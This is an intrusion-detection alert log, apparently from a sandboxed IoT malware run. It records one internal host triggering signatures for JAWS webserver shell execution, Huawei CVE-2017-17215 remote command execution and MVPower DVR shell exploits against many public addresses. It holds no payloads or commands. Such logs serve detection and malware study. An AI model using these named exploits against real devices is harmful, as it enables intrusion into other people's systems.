06/01/24-18:15:53.238850	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34456	80	192.168.2.23	194.252.4.200
06/01/24-18:15:54.252942	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44394	37215	192.168.2.23	41.24.85.120
06/01/24-18:15:55.263544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34470	37215	192.168.2.23	156.51.243.47
06/01/24-18:15:55.268432	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42592	80	192.168.2.23	134.20.23.86
06/01/24-18:15:55.259198	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57288	37215	192.168.2.23	197.45.25.85
06/01/24-18:15:53.237679	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48530	80	192.168.2.23	91.176.40.173
06/01/24-18:15:54.256631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37794	37215	192.168.2.23	41.88.60.138
06/01/24-18:15:55.266499	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48428	80	192.168.2.23	57.97.219.225
06/01/24-18:15:54.275349	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44912	37215	192.168.2.23	41.247.195.212
06/01/24-18:15:54.274432	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38934	37215	192.168.2.23	156.61.170.174
06/01/24-18:15:53.238244	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44946	80	192.168.2.23	81.37.220.40
06/01/24-18:15:56.246669	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35082	80	192.168.2.23	83.217.140.1
06/01/24-18:15:54.274865	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43694	37215	192.168.2.23	156.95.177.47
06/01/24-18:15:54.251517	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52998	37215	192.168.2.23	156.85.186.89
06/01/24-18:15:56.246748	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37954	80	192.168.2.23	183.59.59.222
06/01/24-18:15:56.255398	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43720	80	192.168.2.23	176.135.116.139
06/01/24-18:15:53.240199	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37886	80	192.168.2.23	154.1.74.103
06/01/24-18:15:56.246777	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42388	80	192.168.2.23	58.54.35.204
06/01/24-18:15:54.253661	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55562	37215	192.168.2.23	156.207.94.97
06/01/24-18:15:55.266444	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43606	80	192.168.2.23	13.35.43.213
06/01/24-18:15:54.255075	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39874	37215	192.168.2.23	41.147.35.71
06/01/24-18:15:53.247100	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54366	80	192.168.2.23	48.52.58.128
06/01/24-18:15:56.307705	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40474	37215	192.168.2.23	156.148.149.212
06/01/24-18:15:54.256025	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34408	37215	192.168.2.23	197.214.96.213
06/01/24-18:15:56.246301	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48698	80	192.168.2.23	42.99.218.12
06/01/24-18:15:54.275164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58472	37215	192.168.2.23	156.240.30.191
06/01/24-18:15:54.251379	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36386	37215	192.168.2.23	41.249.106.11
06/01/24-18:15:54.238074	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55982	80	192.168.2.23	124.0.139.31
06/01/24-18:15:56.307739	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41044	37215	192.168.2.23	197.65.82.161
06/01/24-18:15:55.258740	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49574	37215	192.168.2.23	41.37.164.26
06/01/24-18:15:55.260455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41000	37215	192.168.2.23	41.117.26.254
06/01/24-18:15:53.241651	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40554	80	192.168.2.23	60.55.180.73
06/01/24-18:15:55.263479	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55144	37215	192.168.2.23	41.0.162.73
06/01/24-18:15:54.255124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35932	37215	192.168.2.23	156.240.0.43
06/01/24-18:15:56.307866	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57742	37215	192.168.2.23	197.149.153.183
06/01/24-18:15:54.239777	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49860	80	192.168.2.23	145.13.166.240
06/01/24-18:15:54.254354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60452	37215	192.168.2.23	156.6.171.128
06/01/24-18:15:54.239158	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48614	80	192.168.2.23	179.122.233.207
06/01/24-18:15:54.239397	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48212	80	192.168.2.23	85.238.207.251
06/01/24-18:15:54.253587	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58096	37215	192.168.2.23	156.112.166.96
06/01/24-18:15:54.240252	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50940	80	192.168.2.23	76.115.82.134
06/01/24-18:15:54.254379	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34226	37215	192.168.2.23	41.74.251.91
06/01/24-18:15:54.253466	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45918	37215	192.168.2.23	197.35.183.52
06/01/24-18:15:55.265687	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44260	80	192.168.2.23	152.30.254.243
06/01/24-18:15:54.256857	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57300	37215	192.168.2.23	156.13.117.57
06/01/24-18:15:54.252900	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39892	37215	192.168.2.23	197.176.79.105
06/01/24-18:15:54.239470	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47694	80	192.168.2.23	134.80.188.68
06/01/24-18:15:54.240104	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42682	80	192.168.2.23	13.15.216.154
06/01/24-18:15:54.239284	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53154	80	192.168.2.23	206.73.46.114
06/01/24-18:15:53.239740	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60104	80	192.168.2.23	58.199.54.70
06/01/24-18:15:54.274322	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53616	37215	192.168.2.23	197.87.210.186
06/01/24-18:15:56.305703	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60002	37215	192.168.2.23	197.169.240.113
06/01/24-18:15:54.254304	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38486	37215	192.168.2.23	41.84.23.118
06/01/24-18:15:56.245293	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50556	80	192.168.2.23	159.201.245.13
06/01/24-18:15:56.306047	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46258	37215	192.168.2.23	41.136.89.40
06/01/24-18:15:54.274295	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36022	37215	192.168.2.23	156.19.157.15
06/01/24-18:15:55.268346	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38108	80	192.168.2.23	57.95.108.136
06/01/24-18:15:54.239857	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43072	80	192.168.2.23	107.118.12.96
06/01/24-18:15:54.253312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56290	37215	192.168.2.23	197.25.244.85
06/01/24-18:15:56.288192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53054	37215	192.168.2.23	197.121.209.235
06/01/24-18:15:56.305939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40892	37215	192.168.2.23	197.254.140.119
06/01/24-18:15:56.254180	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45154	80	192.168.2.23	2.239.207.135
06/01/24-18:15:53.238016	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60742	80	192.168.2.23	35.40.58.241
06/01/24-18:15:56.254604	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51930	80	192.168.2.23	188.65.236.49
06/01/24-18:15:54.251572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45586	37215	192.168.2.23	41.144.64.245
06/01/24-18:15:54.254529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49572	37215	192.168.2.23	197.229.155.141
06/01/24-18:15:56.308432	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59848	37215	192.168.2.23	41.145.26.98
06/01/24-18:15:55.260926	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54010	37215	192.168.2.23	41.131.43.249
06/01/24-18:15:54.238913	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33194	80	192.168.2.23	222.37.4.5
06/01/24-18:15:53.238939	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49564	80	192.168.2.23	95.237.237.156
06/01/24-18:15:54.239435	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44378	80	192.168.2.23	32.62.55.43
06/01/24-18:15:56.245977	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39866	80	192.168.2.23	119.181.107.102
06/01/24-18:15:53.240541	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54536	80	192.168.2.23	197.114.181.205
06/01/24-18:15:54.253534	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43954	37215	192.168.2.23	156.91.55.119
06/01/24-18:15:56.305831	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42754	37215	192.168.2.23	197.119.106.167
06/01/24-18:15:55.259765	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55908	37215	192.168.2.23	197.165.52.203
06/01/24-18:15:55.262143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35928	37215	192.168.2.23	156.189.243.5
06/01/24-18:15:56.246060	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35452	80	192.168.2.23	87.238.251.102
06/01/24-18:15:55.272711	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60438	80	192.168.2.23	2.243.242.44
06/01/24-18:15:54.240320	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49912	80	192.168.2.23	116.128.48.224
06/01/24-18:15:54.239637	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45958	80	192.168.2.23	146.155.139.101
06/01/24-18:15:53.247342	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36442	80	192.168.2.23	77.156.147.3
06/01/24-18:15:56.305908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43726	37215	192.168.2.23	41.201.42.167
06/01/24-18:15:54.256434	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44020	37215	192.168.2.23	197.204.247.193
06/01/24-18:15:56.288015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41204	37215	192.168.2.23	41.66.66.141
06/01/24-18:15:53.238108	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58212	80	192.168.2.23	78.247.12.109
06/01/24-18:15:54.252848	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45532	37215	192.168.2.23	41.232.72.207
06/01/24-18:15:54.275905	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45842	37215	192.168.2.23	41.42.3.37
06/01/24-18:15:55.263691	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57294	37215	192.168.2.23	41.24.234.239
06/01/24-18:15:53.239032	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51510	80	192.168.2.23	205.249.54.111
06/01/24-18:15:55.263651	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54962	37215	192.168.2.23	41.163.26.210
06/01/24-18:15:55.267351	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42234	80	192.168.2.23	25.142.89.27
06/01/24-18:15:54.238224	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49524	80	192.168.2.23	133.130.243.96
06/01/24-18:15:53.240112	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47714	80	192.168.2.23	204.135.242.117
06/01/24-18:15:55.265552	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46026	80	192.168.2.23	54.86.82.86
06/01/24-18:15:56.288149	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41042	37215	192.168.2.23	197.216.2.218
06/01/24-18:15:53.241607	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52886	80	192.168.2.23	80.252.121.45
06/01/24-18:15:56.308506	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52032	37215	192.168.2.23	41.32.190.153
06/01/24-18:15:55.261076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44092	37215	192.168.2.23	41.191.51.126
06/01/24-18:15:55.261955	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47172	37215	192.168.2.23	156.112.193.48
06/01/24-18:15:55.263437	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44642	37215	192.168.2.23	156.23.230.69
06/01/24-18:15:56.254840	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50144	80	192.168.2.23	109.252.239.250
06/01/24-18:15:56.307552	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60622	37215	192.168.2.23	197.5.152.126
06/01/24-18:15:55.261791	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52352	37215	192.168.2.23	41.12.1.243
06/01/24-18:15:55.263326	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60588	37215	192.168.2.23	156.181.139.113
06/01/24-18:15:55.260639	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49868	37215	192.168.2.23	156.250.80.139
06/01/24-18:15:54.240221	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53534	80	192.168.2.23	219.191.228.10
06/01/24-18:15:54.255789	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45840	37215	192.168.2.23	156.152.96.204
06/01/24-18:15:54.275592	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58496	37215	192.168.2.23	41.103.71.244
06/01/24-18:15:56.288149	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41042	37215	192.168.2.23	197.216.2.218
06/01/24-18:15:56.254225	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46648	80	192.168.2.23	64.170.221.237
06/01/24-18:15:53.239527	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34360	80	192.168.2.23	92.228.245.159
06/01/24-18:15:53.241470	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58476	80	192.168.2.23	223.81.79.132
06/01/24-18:15:54.253978	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33038	37215	192.168.2.23	41.208.140.239
06/01/24-18:15:54.239497	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45190	80	192.168.2.23	42.11.130.136
06/01/24-18:15:56.288050	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53540	37215	192.168.2.23	197.92.83.61
06/01/24-18:15:55.260686	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57732	37215	192.168.2.23	156.1.199.155
06/01/24-18:15:56.245784	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59086	80	192.168.2.23	63.169.38.14
06/01/24-18:15:56.246812	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43896	80	192.168.2.23	38.25.43.161
06/01/24-18:15:56.245249	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52570	80	192.168.2.23	204.99.201.107
06/01/24-18:15:56.254966	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58512	80	192.168.2.23	188.86.168.160
06/01/24-18:15:56.245720	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49594	80	192.168.2.23	8.18.108.124
06/01/24-18:15:54.251192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37366	37215	192.168.2.23	156.33.225.228
06/01/24-18:15:53.240505	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50218	80	192.168.2.23	159.209.163.86
06/01/24-18:15:53.239856	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54416	80	192.168.2.23	146.97.242.87
06/01/24-18:15:55.260509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60104	37215	192.168.2.23	41.146.68.75
06/01/24-18:15:54.240636	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39258	80	192.168.2.23	108.12.66.222
06/01/24-18:15:54.253379	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58048	37215	192.168.2.23	197.126.155.107
06/01/24-18:15:55.258791	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39256	37215	192.168.2.23	197.235.98.188
06/01/24-18:15:54.253732	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59608	37215	192.168.2.23	156.3.243.152
06/01/24-18:15:56.244906	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37372	80	192.168.2.23	57.33.20.180
06/01/24-18:15:53.241435	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48762	80	192.168.2.23	191.185.132.251
06/01/24-18:15:54.274390	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46806	37215	192.168.2.23	41.87.219.221
06/01/24-18:15:55.262188	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56490	37215	192.168.2.23	197.89.180.120
06/01/24-18:15:53.238205	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39456	80	192.168.2.23	107.165.24.228
06/01/24-18:15:54.274985	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39966	37215	192.168.2.23	197.239.222.81
06/01/24-18:15:53.247036	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56362	80	192.168.2.23	44.214.37.113
06/01/24-18:15:54.239818	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50036	80	192.168.2.23	99.223.38.236
06/01/24-18:15:54.240725	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32974	80	192.168.2.23	190.157.211.94
06/01/24-18:15:54.274063	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49540	37215	192.168.2.23	197.225.16.119
06/01/24-18:15:54.239975	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55520	80	192.168.2.23	118.167.64.175
06/01/24-18:15:54.254666	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38622	37215	192.168.2.23	197.213.9.188
06/01/24-18:15:54.238596	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32936	80	192.168.2.23	189.82.218.132
06/01/24-18:15:54.275552	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58124	37215	192.168.2.23	156.254.50.144
06/01/24-18:15:56.307106	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41680	37215	192.168.2.23	156.208.181.92
06/01/24-18:15:53.240242	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34922	80	192.168.2.23	158.4.130.100
06/01/24-18:15:55.267731	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60162	80	192.168.2.23	157.59.40.252
06/01/24-18:15:56.244628	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53316	80	192.168.2.23	188.170.231.160
06/01/24-18:15:54.275098	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49218	37215	192.168.2.23	41.27.121.67
06/01/24-18:15:53.239781	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50078	80	192.168.2.23	129.193.114.98
06/01/24-18:15:54.238679	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59368	80	192.168.2.23	45.9.82.52
06/01/24-18:15:56.307965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41492	37215	192.168.2.23	197.90.12.37
06/01/24-18:15:54.256554	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51224	37215	192.168.2.23	41.200.45.182
06/01/24-18:15:54.253439	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39642	37215	192.168.2.23	41.89.44.248
06/01/24-18:15:56.244558	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56334	80	192.168.2.23	45.33.63.82
06/01/24-18:15:55.261256	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46470	37215	192.168.2.23	41.215.248.219
06/01/24-18:15:56.307042	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47800	37215	192.168.2.23	41.18.209.9
06/01/24-18:15:55.265263	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45520	80	192.168.2.23	98.85.212.158
06/01/24-18:15:54.274736	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40134	37215	192.168.2.23	197.168.40.142
06/01/24-18:15:54.256242	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45778	37215	192.168.2.23	197.46.115.89
06/01/24-18:15:53.239961	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38194	80	192.168.2.23	48.234.108.156
06/01/24-18:15:54.274322	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53616	37215	192.168.2.23	197.87.210.186
06/01/24-18:15:55.264930	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46744	80	192.168.2.23	172.56.24.244
06/01/24-18:15:54.256952	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37148	37215	192.168.2.23	41.238.177.50
06/01/24-18:15:56.308033	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46284	37215	192.168.2.23	156.113.114.137
06/01/24-18:15:55.265963	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60520	80	192.168.2.23	104.115.107.154
06/01/24-18:15:54.238269	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46164	80	192.168.2.23	81.66.87.121
06/01/24-18:15:54.254586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54026	37215	192.168.2.23	197.236.203.121
06/01/24-18:15:55.262860	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37250	37215	192.168.2.23	41.230.149.194
06/01/24-18:15:55.259969	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33794	37215	192.168.2.23	156.84.73.50
06/01/24-18:15:56.306951	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48620	37215	192.168.2.23	41.121.54.211
06/01/24-18:15:54.254230	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49224	37215	192.168.2.23	41.43.208.255
06/01/24-18:15:53.239557	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56234	80	192.168.2.23	95.239.226.123
06/01/24-18:15:54.253835	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50112	37215	192.168.2.23	41.14.133.63
06/01/24-18:15:55.265799	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53992	80	192.168.2.23	38.120.106.118
06/01/24-18:15:53.240367	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33706	80	192.168.2.23	187.205.139.84
06/01/24-18:15:54.251351	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45328	37215	192.168.2.23	156.193.10.45
06/01/24-18:15:56.287440	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40740	80	192.168.2.23	86.99.246.150
06/01/24-18:15:54.241927	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52486	80	192.168.2.23	173.159.67.38
06/01/24-18:15:55.265775	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49706	80	192.168.2.23	94.52.226.91
06/01/24-18:15:53.247003	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40782	80	192.168.2.23	170.90.134.85
06/01/24-18:15:56.246473	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50956	80	192.168.2.23	72.8.191.18
06/01/24-18:15:54.252592	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41724	37215	192.168.2.23	41.87.170.8
06/01/24-18:15:56.246141	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37370	80	192.168.2.23	198.54.147.248
06/01/24-18:15:56.306077	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34742	37215	192.168.2.23	41.127.231.35
06/01/24-18:15:53.240978	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53558	80	192.168.2.23	81.48.62.152
06/01/24-18:15:56.245498	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42136	80	192.168.2.23	42.133.131.181
06/01/24-18:15:55.261120	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48334	37215	192.168.2.23	197.50.165.9
06/01/24-18:15:55.264843	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45868	80	192.168.2.23	205.243.6.97
06/01/24-18:15:54.256393	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36614	37215	192.168.2.23	156.158.95.158
06/01/24-18:15:54.275251	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54080	37215	192.168.2.23	197.126.107.59
06/01/24-18:15:54.240025	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33688	80	192.168.2.23	41.108.232.85
06/01/24-18:15:55.233813	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49364	37215	192.168.2.23	156.251.227.241
